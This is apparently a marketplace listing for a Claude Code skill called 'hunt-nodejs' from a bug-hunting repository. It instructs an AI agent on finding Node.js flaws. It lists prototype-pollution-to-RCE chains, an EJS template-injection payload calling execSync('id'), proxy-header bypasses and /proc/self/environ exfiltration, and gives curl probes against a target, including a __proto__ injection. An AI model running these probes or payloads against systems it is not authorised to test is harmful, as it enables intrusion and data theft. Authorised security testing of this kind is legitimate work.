
Hunt Nodejs
Hunt Node.js specific vulnerabilities, Prototype Pollution → RCE chains...
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-nodejs -g -a claude-code -y- Repository
- elementalsouls/Claude-BugHunter5.4k
- Category
- Security
- Updated
- 3d ago
- License
- MIT
- Context cost
- Mediumabout 1,865 tokens
- Runs scripts
- No, instructions only
What it does
Hunt Node.js specific vulnerabilities, Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.
HUNT-NODEJS, Node.js Specific Vulnerabilities
Crown Jewel Targets
Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
Highest-value chains:
- Prototype Pollution → RCE,
__proto__injection vialodash.merge/Object.assign→ polluted prototype reacheschild_process.execorvm.runInNewContextsink - Express trust proxy,
app.set('trust proxy', true)without validation → attacker setsX-Forwarded-Forto bypass IP allowlists or rate limits - EJS/Pug SSTI, template engine receives user input →
{{= process.mainModule.require('child_process').execSync('id') }} child_processinjection, user input interpolated into shell command string → OS command injectionrequire()path traversal, attacker-controlled module path → load arbitrary file as JS
Attack Surface Signals
X-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidate
Phase 1, Fingerprint
# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"
# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
Phase 2, Prototype Pollution Detection
# JSON body injection, test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": "yes"}}'

